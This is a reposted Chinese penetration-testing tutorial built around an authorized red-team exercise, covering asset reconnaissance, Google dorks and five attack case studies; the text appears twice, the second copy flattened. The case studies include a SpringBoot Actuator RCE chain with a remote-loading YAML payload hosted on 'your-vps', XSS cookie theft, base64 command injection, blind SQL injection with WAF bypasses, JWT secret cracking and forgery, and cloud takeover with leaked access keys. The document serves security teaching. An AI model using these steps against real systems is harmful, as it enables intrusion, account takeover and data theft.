【转载】某次内部行业渗透测试&攻防演练多个系统从资产打点到RCE漏洞
字数 4960 2025-10-26 18:21:34

渗透测试与攻防演练实战教学文档

文档说明

本文档基于一次真实的、已获授权的内部行业渗透测试与攻防演练实战记录编写。旨在系统性地教学从资产信息收集到多种高危漏洞(如RCE、SQL注入、越权等)挖掘与利用的全过程。文档将遵循“方法论->工具使用->实战案例->拓展知识”的结构,确保关键知识点清晰、可复现。

重要声明: 本文档所有技术仅用于安全教学与防御能力提升,严禁用于任何未授权的测试行为。


第一章:攻防演练基础

1.1 核心概念

  • 攻防演练:一种模拟真实攻击(红队)与防御(蓝队)的对抗性活动,旨在评估和提升组织的整体安全防护、监测与响应能力。
  • 核心目标:发现安全短板、验证防护措施有效性、锻炼安全团队实战能力。

1.2 演练流程

  1. 规划与准备:明确目标、范围、规则,制定攻击与防御策略。
  2. 攻击模拟:红队使用各类技术(网络渗透、社会工程等)模拟攻击。
  3. 防御检测:蓝队通过监控系统(IDS/IPS、日志分析等)发现和响应攻击。
  4. 攻防对抗:红蓝双方实时对抗,红队尝试突破,蓝队尝试阻断和溯源。
  5. 分析与总结:演练后复盘,评估效果,输出改进计划。

1.3 关键得分项与丢分项

  • 蓝队得分项:及时修复漏洞、强密码策略、合理安全配置、有效发现并响应攻击。
  • 蓝队丢分项:存在已知漏洞、弱口令、配置不当、未能发现或及时阻止攻击。

第二章:核心技能 - 资产发现与信息收集

信息收集的广度与深度直接决定后续渗透测试的成败。

2.1 企业主体信息收集

  1. 企查查/风鸟:使用这些平台,通过公司名称查询其备案信息、子公司、关联公司、投资方等,扩大资产搜索范围。风鸟还可用于搜索关联的APP资产。
  2. 备案信息查询:通过工信部ICP/IP备案管理系统,获取目标公司的备案号、备案域名、APP、小程序等核心资产列表。
  3. 搜索引擎导出:利用“无影”等工具的聚合搜索引擎功能,使用备案号、公司名等关键词,批量搜索并导出相关域名。

2.2 子域名与IP网段发现

  1. 工具组合拳
    • 灯塔(ARL):将主域名提交至ARL进行自动化子域名发现、端口扫描、服务识别。
    • OneForAll:强大的子域名枚举工具,与ARL结果互为补充。
    • 空间引擎:使用FOFA、Shodan、ZoomEye等,通过语法 domain="target.com"icon_hash="-xxx" 搜索关联资产。
  2. 去重与整理:将上述工具的结果合并,去重,形成完整的子域名清单。
  3. IP网段发现:将收集到的IP地址导入“无影”等工具进行C段整理,并使用FOFA语法 ip="x.x.x.0/24" && is_domain=true 搜索该网段下的其他存活域名。

2.3 资产打点与敏感信息探测

  1. 指纹识别与探活:使用“无影”的Web指纹识别功能,对收集到的资产进行批量探活和框架/组件识别(如SpringBoot, WordPress等)。
  2. 敏感文件泄露扫描
    • 工具:灯塔(ARL)。
    • 关键技巧:自定义扫描字典。修改ARL的字典文件(如 /app/dicts/file_top_2000.txt),加入更全面、更具针对性的字典(如备份文件、配置文件、Git泄露等),大幅提升发现概率。
  3. Google Hacking
    • 作用:当直接访问域名无果时,使用 site:target.com 语法可能发现隐藏的路径或备份站点。
    • 常用语法库
      • 后台/登录口:site:target.com intext:管理|后台|登陆|admin|login
      • 注入点:site:target.com inurl:id|pid|cat=
      • 敏感文件:site:target.com filetype:txt|pdf|doc|xlsext:log|bak|conf|env
      • API接口:site:target.com inurl:api|swagger
      • (文档中提供了非常全面的语法列表,应作为工具书保存)
  4. JS文件分析
    • 工具:转子(JsRotator)等自动化JS信息提取工具。
    • 流程:输入URL,工具会自动爬取JS文件,并提取其中的接口路径、敏感关键字(如password, secret, AK/SK)、域名等,并进行漏洞分类。
    • 参数--scan=3(扫描深度),--proxy=127.0.0.1:8080(代理到BurpSuite进行深入分析)。

第三章:实战漏洞案例剖析

案例一:XSS -> Cookie窃取 -> 未授权访问 -> SSRF/RCE 攻击链

  1. 漏洞发现:目标官网存在在线客服功能,输入XSS Payload(如``)测试,成功弹窗,证明存在存储型XSS。
  2. 漏洞利用
    • 构造窃取Cookie的Payload:``。
    • 诱使客服(或管理员)查看消息,获取其会话Cookie。
  3. 权限提升:使用窃取的Cookie替换浏览器中的当前Cookie,刷新页面,成功以admin身份登录后台系统,实现未授权访问。
  4. 横向渗透
    • 在后台发现“图标管理”等功能点,尝试SSRF。插入DNSLog地址(如 http://xxx.dnslog.cn),提交后DNSLog有回显,证实存在SSRF。
    • 发现另一后台登录口,使用弱口令 admin:Admin123 进入。
  5. 命令执行(RCE)
    • 在新后台发现cmd参数,值经过Base64编码。解码后发现是系统命令(如cat /etc/passwd)。
    • 利用:将需要执行的命令(如 whoami)进行Base64编码,替换cmd参数的值,成功实现命令执行,获取服务器权限。

案例二:SpringBoot Actuator未授权RCE

  1. 环境与漏洞识别
    • 目标为SpringBoot应用。访问 /env/actuator/env 有数据返回,说明Actuator端点未授权访问。
    • Spring 1.x 访问 /env;Spring 2.x 访问 /actuator/env
  2. 漏洞利用原理:利用spring.cloud.bootstrap.location属性从远程加载恶意YAML配置文件,触发SPI机制执行恶意代码。
  3. 利用步骤
    • Step 1:设置恶意配置地址
      • 请求POST /env (Spring 1.x)
      • Content-Type: application/x-www-form-urlencoded
      • spring.cloud.bootstrap.location=http://your-vps/exp.yml
    • Step 2:刷新配置
      • 请求POST /refresh (Spring 1.x)
      • 此时服务器会去请求exp.yml
    • Step 3:制作恶意YAML与JAR
      • exp.yml内容
        !!javax.script.ScriptEngineManager [
          !!java.net.URLClassLoader [[
            !!java.net.URL ["http://your-vps/yaml-payload.jar"]
          ]]
        ]
        
      • yaml-payload.jar:需要提前编译好包含恶意代码的JAR包(例如,代码中包含 Runtime.getRuntime().exec("calc") 用于弹计算器)。
    • Step 4:执行RCE
      • 在VPS上托管exp.ymlyaml-payload.jar
      • 完成Step 1 & 2后,服务器会加载JAR并执行其中代码,完成RCE。

案例三:阿里云AccessKey泄露与云资产接管

  1. 信息泄露:通过“转子”等JS分析工具,在JS文件中发现硬编码的阿里云AccessKey (AK/SK)。
  2. 特征识别
    • 阿里云AK:以 LTAI 开头,后跟16-24位字母数字。
    • 腾讯云AK:以 AKID 开头。
  3. 云资产接管
    • 工具:使用“行云管家”或阿里云官方CLI、OSS浏览器等工具。
    • 操作:使用泄露的AK/SK登录这些工具,即可直接列出、下载、管理目标公司的OSS存储桶、ECS实例等云资源,导致敏感数据泄露。
    • 权限提升:如果AK权限足够高(如AdministratorAccess),可通过Cloud Foundation (CF) 等工具进行权限维持和提升,完全接管云上资产。

案例四:前台SQL注入

  1. 漏洞探测:发现参数 cid 存在注入。使用 1/1(正常)和 1/0(报错或异常)进行布尔盲注判断。
  2. Payload构造
    • 判断数据库名长度:/student_list.php?cid=2/if((length(database()))>7,1,0)
    • 如果 >7 正常,>8 异常,则说明数据库名长度为8。
  3. WAF绕过技巧:使用等价函数/符号替换关键字。
    • database() -> schema()
    • @@version -> version()
    • user() -> system_user(), session_user()

案例五:JWT设计缺陷导致越权

  1. 目标获取:通过天眼查、微信公众号、小程序入口找到目标应用。
  2. 漏洞发现:抓取小程序数据包,发现通信使用JWT令牌。
  3. 漏洞利用
    • 步骤1:分析:在 jwt.io 解码JWT,分析其Payload结构(如含 userId, username, role 等字段)。
    • 步骤2:爆破:使用 jwt_tool 或自定义脚本,对JWT签名密钥进行爆破,成功爆出弱密钥 123456
    • 步骤3:伪造:使用已知密钥,伪造任意用户的JWT令牌(如修改 userIdusername 为其他用户手机号,并延长 exp 过期时间)。
    • 步骤4:越权:在登录请求中替换为伪造的Token,即可未授权登录任意用户账户。

第四章:拓展知识 - 隐私合规漏洞

隐私合规漏洞是SRC和监管机构关注的重点,源于国家法律法规。

4.1 核心违规点

  1. 未明示同意:App首次启动时,未以明显方式提示用户阅读隐私政策,或默认勾选同意。
  2. 强制索权:用户拒绝提供非必要信息或权限后,App直接退出或无法使用核心功能。
  3. 无注销功能:提供注册服务,但不提供账号注销通道,或注销条件过于苛刻。
  4. 超范围收集:收集与当前业务功能无关的个人信息(如读书App索要精准定位)。
  5. 频繁骚扰:用户拒绝授权后,在48小时内再次频繁弹窗索要权限。
  6. 数据未删除:用户注销账号后,未按要求删除其个人信息。
  7. 政治性问题:地区选择中,将台湾、香港、澳门与中国并列。

4.2 参考法规

  • 《中华人民共和国个人信息保护法》
  • 《App违法违规收集使用个人信息行为认定方法》
  • 《常见类型移动互联网应用程序必要个人信息范围规定》

第五章:总结与工具列表

5.1 流程总结

成功的渗透测试遵循:信息收集 -> 资产梳理与打点 -> 漏洞探测与验证 -> 漏洞利用与横向移动 -> 权限维持与数据获取 的闭环流程。每个环节的细致程度都至关重要。

5.2 工具列表汇总

类别 工具名称 用途
信息收集 爱企查、风鸟 企业主体信息查询
ICP备案查询 获取备案域名
无影 聚合搜索引擎、资产整理
ENScan 自动化收集企业网络资产
子域名发现 灯塔(ARL) 自动化资产发现与敏感文件扫描
OneForAll 子域名枚举
FOFA/Shodan 空间引擎测绘
漏洞探测 Burp Suite 代理、抓包、重放、扫描
转子(JsRotator) JS文件自动化分析
JWT.io, jwt_tool JWT解码、伪造与爆破
专项利用 行云管家、OSS Browser 云AK/SK泄露利用与接管
自定义脚本 SpringBoot RCE、SQL注入等

文档结束
希望这份详尽的教学文档能对您的学习有所帮助。请务必在合法合规的环境下使用这些知识。

渗透测试与攻防演练实战教学文档 文档说明 本文档基于一次真实的、已获授权的内部行业渗透测试与攻防演练实战记录编写。旨在系统性地教学从资产信息收集到多种高危漏洞(如RCE、SQL注入、越权等)挖掘与利用的全过程。文档将遵循“方法论->工具使用->实战案例->拓展知识”的结构,确保关键知识点清晰、可复现。 重要声明: 本文档所有技术仅用于安全教学与防御能力提升,严禁用于任何未授权的测试行为。 第一章:攻防演练基础 1.1 核心概念 攻防演练 :一种模拟真实攻击(红队)与防御(蓝队)的对抗性活动,旨在评估和提升组织的整体安全防护、监测与响应能力。 核心目标 :发现安全短板、验证防护措施有效性、锻炼安全团队实战能力。 1.2 演练流程 规划与准备 :明确目标、范围、规则,制定攻击与防御策略。 攻击模拟 :红队使用各类技术(网络渗透、社会工程等)模拟攻击。 防御检测 :蓝队通过监控系统(IDS/IPS、日志分析等)发现和响应攻击。 攻防对抗 :红蓝双方实时对抗,红队尝试突破,蓝队尝试阻断和溯源。 分析与总结 :演练后复盘,评估效果,输出改进计划。 1.3 关键得分项与丢分项 蓝队得分项 :及时修复漏洞、强密码策略、合理安全配置、有效发现并响应攻击。 蓝队丢分项 :存在已知漏洞、弱口令、配置不当、未能发现或及时阻止攻击。 第二章:核心技能 - 资产发现与信息收集 信息收集的广度与深度直接决定后续渗透测试的成败。 2.1 企业主体信息收集 企查查/风鸟 :使用这些平台,通过公司名称查询其备案信息、子公司、关联公司、投资方等,扩大资产搜索范围。风鸟还可用于搜索关联的APP资产。 备案信息查询 :通过工信部ICP/IP备案管理系统,获取目标公司的备案号、备案域名、APP、小程序等核心资产列表。 搜索引擎导出 :利用“无影”等工具的聚合搜索引擎功能,使用备案号、公司名等关键词,批量搜索并导出相关域名。 2.2 子域名与IP网段发现 工具组合拳 : 灯塔(ARL) :将主域名提交至ARL进行自动化子域名发现、端口扫描、服务识别。 OneForAll :强大的子域名枚举工具,与ARL结果互为补充。 空间引擎 :使用FOFA、Shodan、ZoomEye等,通过语法 domain="target.com" 或 icon_hash="-xxx" 搜索关联资产。 去重与整理 :将上述工具的结果合并,去重,形成完整的子域名清单。 IP网段发现 :将收集到的IP地址导入“无影”等工具进行C段整理,并使用FOFA语法 ip="x.x.x.0/24" && is_domain=true 搜索该网段下的其他存活域名。 2.3 资产打点与敏感信息探测 指纹识别与探活 :使用“无影”的Web指纹识别功能,对收集到的资产进行批量探活和框架/组件识别(如SpringBoot, WordPress等)。 敏感文件泄露扫描 : 工具 :灯塔(ARL)。 关键技巧 :自定义扫描字典。修改ARL的字典文件(如 /app/dicts/file_top_2000.txt ),加入更全面、更具针对性的字典(如备份文件、配置文件、Git泄露等),大幅提升发现概率。 Google Hacking : 作用 :当直接访问域名无果时,使用 site:target.com 语法可能发现隐藏的路径或备份站点。 常用语法库 : 后台/登录口: site:target.com intext:管理|后台|登陆|admin|login 注入点: site:target.com inurl:id|pid|cat= 敏感文件: site:target.com filetype:txt|pdf|doc|xls 或 ext:log|bak|conf|env API接口: site:target.com inurl:api|swagger (文档中提供了非常全面的语法列表,应作为工具书保存) JS文件分析 : 工具 :转子(JsRotator)等自动化JS信息提取工具。 流程 :输入URL,工具会自动爬取JS文件,并提取其中的接口路径、敏感关键字(如 password , secret , AK/SK )、域名等,并进行漏洞分类。 参数 : --scan=3 (扫描深度), --proxy=127.0.0.1:8080 (代理到BurpSuite进行深入分析)。 第三章:实战漏洞案例剖析 案例一:XSS -> Cookie窃取 -> 未授权访问 -> SSRF/RCE 攻击链 漏洞发现 :目标官网存在在线客服功能,输入XSS Payload(如 `` )测试,成功弹窗,证明存在存储型XSS。 漏洞利用 : 构造窃取Cookie的Payload: `` 。 诱使客服(或管理员)查看消息,获取其会话Cookie。 权限提升 :使用窃取的Cookie替换浏览器中的当前Cookie,刷新页面,成功以 admin 身份登录后台系统,实现未授权访问。 横向渗透 : 在后台发现“图标管理”等功能点,尝试SSRF。插入DNSLog地址(如 http://xxx.dnslog.cn ),提交后DNSLog有回显,证实存在SSRF。 发现另一后台登录口,使用弱口令 admin:Admin123 进入。 命令执行(RCE) : 在新后台发现 cmd 参数,值经过Base64编码。解码后发现是系统命令(如 cat /etc/passwd )。 利用 :将需要执行的命令(如 whoami )进行Base64编码,替换 cmd 参数的值,成功实现命令执行,获取服务器权限。 案例二:SpringBoot Actuator未授权RCE 环境与漏洞识别 : 目标为SpringBoot应用。访问 /env 或 /actuator/env 有数据返回,说明Actuator端点未授权访问。 Spring 1.x 访问 /env ;Spring 2.x 访问 /actuator/env 。 漏洞利用原理 :利用 spring.cloud.bootstrap.location 属性从远程加载恶意YAML配置文件,触发SPI机制执行恶意代码。 利用步骤 : Step 1:设置恶意配置地址 请求 : POST /env (Spring 1.x) 头 : Content-Type: application/x-www-form-urlencoded 体 : spring.cloud.bootstrap.location=http://your-vps/exp.yml Step 2:刷新配置 请求 : POST /refresh (Spring 1.x) 此时服务器会去请求 exp.yml 。 Step 3:制作恶意YAML与JAR exp.yml内容 : yaml-payload.jar :需要提前编译好包含恶意代码的JAR包(例如,代码中包含 Runtime.getRuntime().exec("calc") 用于弹计算器)。 Step 4:执行RCE 在VPS上托管 exp.yml 和 yaml-payload.jar 。 完成Step 1 & 2后,服务器会加载JAR并执行其中代码,完成RCE。 案例三:阿里云AccessKey泄露与云资产接管 信息泄露 :通过“转子”等JS分析工具,在JS文件中发现硬编码的阿里云AccessKey (AK/SK)。 特征识别 : 阿里云AK :以 LTAI 开头,后跟16-24位字母数字。 腾讯云AK :以 AKID 开头。 云资产接管 : 工具 :使用“行云管家”或阿里云官方CLI、OSS浏览器等工具。 操作 :使用泄露的AK/SK登录这些工具,即可直接列出、下载、管理目标公司的OSS存储桶、ECS实例等云资源,导致敏感数据泄露。 权限提升 :如果AK权限足够高(如 AdministratorAccess ),可通过Cloud Foundation (CF) 等工具进行权限维持和提升,完全接管云上资产。 案例四:前台SQL注入 漏洞探测 :发现参数 cid 存在注入。使用 1/1 (正常)和 1/0 (报错或异常)进行布尔盲注判断。 Payload构造 : 判断数据库名长度: /student_list.php?cid=2/if((length(database()))>7,1,0) 如果 >7 正常, >8 异常,则说明数据库名长度为8。 WAF绕过技巧 :使用等价函数/符号替换关键字。 database() -> schema() @@version -> version() user() -> system_user() , session_user() 案例五:JWT设计缺陷导致越权 目标获取 :通过天眼查、微信公众号、小程序入口找到目标应用。 漏洞发现 :抓取小程序数据包,发现通信使用JWT令牌。 漏洞利用 : 步骤1:分析 :在 jwt.io 解码JWT,分析其Payload结构(如含 userId , username , role 等字段)。 步骤2:爆破 :使用 jwt_tool 或自定义脚本,对JWT签名密钥进行爆破,成功爆出弱密钥 123456 。 步骤3:伪造 :使用已知密钥,伪造任意用户的JWT令牌(如修改 userId 和 username 为其他用户手机号,并延长 exp 过期时间)。 步骤4:越权 :在登录请求中替换为伪造的Token,即可未授权登录任意用户账户。 第四章:拓展知识 - 隐私合规漏洞 隐私合规漏洞是SRC和监管机构关注的重点,源于国家法律法规。 4.1 核心违规点 未明示同意 :App首次启动时,未以明显方式提示用户阅读隐私政策,或默认勾选同意。 强制索权 :用户拒绝提供非必要信息或权限后,App直接退出或无法使用核心功能。 无注销功能 :提供注册服务,但不提供账号注销通道,或注销条件过于苛刻。 超范围收集 :收集与当前业务功能无关的个人信息(如读书App索要精准定位)。 频繁骚扰 :用户拒绝授权后,在48小时内再次频繁弹窗索要权限。 数据未删除 :用户注销账号后,未按要求删除其个人信息。 政治性问题 :地区选择中,将台湾、香港、澳门与中国并列。 4.2 参考法规 《中华人民共和国个人信息保护法》 《App违法违规收集使用个人信息行为认定方法》 《常见类型移动互联网应用程序必要个人信息范围规定》 第五章:总结与工具列表 5.1 流程总结 成功的渗透测试遵循: 信息收集 -> 资产梳理与打点 -> 漏洞探测与验证 -> 漏洞利用与横向移动 -> 权限维持与数据获取 的闭环流程。每个环节的细致程度都至关重要。 5.2 工具列表汇总 | 类别 | 工具名称 | 用途 | | :--- | :--- | :--- | | 信息收集 | 爱企查、风鸟 | 企业主体信息查询 | | | ICP备案查询 | 获取备案域名 | | | 无影 | 聚合搜索引擎、资产整理 | | | ENScan | 自动化收集企业网络资产 | | 子域名发现 | 灯塔(ARL) | 自动化资产发现与敏感文件扫描 | | | OneForAll | 子域名枚举 | | | FOFA/Shodan | 空间引擎测绘 | | 漏洞探测 | Burp Suite | 代理、抓包、重放、扫描 | | | 转子(JsRotator) | JS文件自动化分析 | | | JWT.io, jwt_ tool | JWT解码、伪造与爆破 | | 专项利用 | 行云管家、OSS Browser | 云AK/SK泄露利用与接管 | | | 自定义脚本 | SpringBoot RCE、SQL注入等 | 文档结束 希望这份详尽的教学文档能对您的学习有所帮助。请务必在合法合规的环境下使用这些知识。